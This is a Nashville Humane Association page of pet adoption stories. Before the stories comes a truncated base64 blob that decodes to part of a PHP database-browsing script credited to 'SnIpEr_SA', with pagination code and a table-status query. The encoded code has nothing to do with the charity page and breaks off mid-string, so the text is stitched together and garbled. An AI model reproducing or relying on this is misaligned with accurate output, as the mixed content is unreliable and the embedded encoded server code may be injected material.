ZXNjcm9sIC49ICIgPGEgaHJlZj0nJ2FjdGlvbic/dGFibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRueHQkc3ZhbCcgdGl0bGU9J05leHQgcGFnZSc+ID4gPC9hPiBcbiI7DQogICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiIDxhIGhyZWY9JydhY3Rpb24nP3RhYmxlbmFtZT0kdGFibGVuYW1lJmFtcDtwZz0kZW5kJHN2YWwnIHRpdGxlPSdUbyBMYXN0IHBhZ2UnPiA+PjogJGxzdDwvYT4gXG4iOw0KICAgICAgICAgICB9DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjwvZm9ybT5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wuPSI8L2Rpdj5cbiI7DQogICAgICB9DQogICAgICAgIHJldHVybiAkcGFnZXNjcm9sOw0KfQ0KDQovLyoqKioqKioqKioqKipEaXNwbGF5IEZvb3RlcioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vUGxlYXNlIGRvbid0IHJlbW92ZSBvciBjaGFuZ2UuDQpmdW5jdGlvbiBkaXNwbGF5X2Zvb3QoKXsNCg0KICAgIGVjaG8iPGRpdiBjbGFzcz0nZm9vdCc+VmVyc2lvbiAkdmVyc2lvbiAmY29weTsgIi5kYXRlKCdZJykuIiA8YSBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOm5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovL3d3dy5TbklwRXItU0EuY29tJz5TbklwRXJfU0E8L2E+PC9kaXY+IjsNCg0KICAgIH0NCi8vKioqKioqKioqKioqKk15IFNpemUqKioqKioqKioqKioqKioqKioqKioqKioqDQovL1JldHVybnMgdGhlIHNpemUgb2YgYSB0YWJsZSBvciBkYXRhYmFzZQ0KZnVuY3Rpb24gbXlzaXplKCRkYm5hbWUsICR0YWJsZW5hbWUpew0KICAgICRsaWtlPSIiOw0KICAgICR0b3RhbD0iIjsNCiAgICAkdD0wOw0KICAgIGlmKCR0YWJsZW5hbWUgIT0iIil7DQogICAgICAgICRsaWtlPSIgbGlrZSAnJHRhYmxlbmFtZSciOw0KICAgIH0NCiAgICAkc3FsPSAiU0hPVyBUQUJMRSBTVEFUVVMgRlJPTSAkZGJuYW1lICRsaWtlIjsNCiAgICAvLyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsKTsNCiAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgIGlmKCRyZXN1bHQpew0KDQogICAgICAgIHdoaWxlKCRyZWMgPSBteXNxbF9mZXRjaF9
|
Rusty and Hank
This is our dog Rusty (left with ball) and Hank (right with stick). They are brothers and were adopted as puppies from the Nashville Humane Association. They had not seen each other since their adoption until this day. They met by chance at Shelby Park and had a BIG time playing in a field of clover.
Submitted by: Don and Barbie McEwen
|
Madaline
On April 25, 2008, I visited NHA to find a new friend. I had lost a cat, "Ravi," several years prior. I felt I was ready to open my heart up to a furry friend. I came in with my boyfriend, and we both fell in love with a darling, black and white cat you called "Peggy Sue."
I took her home, and we began to get to know each other. I renamed her "Madaline" and began to spoil her rotten! She was a little shy at first, she liked to hide under the bed when people came over, but now she is into everything! She loves sitting in the window and talking to the birds, playing with toys, and laying in my boyfriend's lap.
I just want to say THANK YOU! I wish I could take all of the animals home! Again, thank you, Heather Day
|
MORE ADOPTION STORIES
|
|
Please submit your NHA adoption story and photo of your furry friend to Jennifer Wheeler at jennifer@nashvillehumane.org or by mail to Attn:Jennifer Wheeler, c/o Nashville Humane Association 213 Oceola Ave, Nashville, TN 37209. Photos will not be returned.
|
|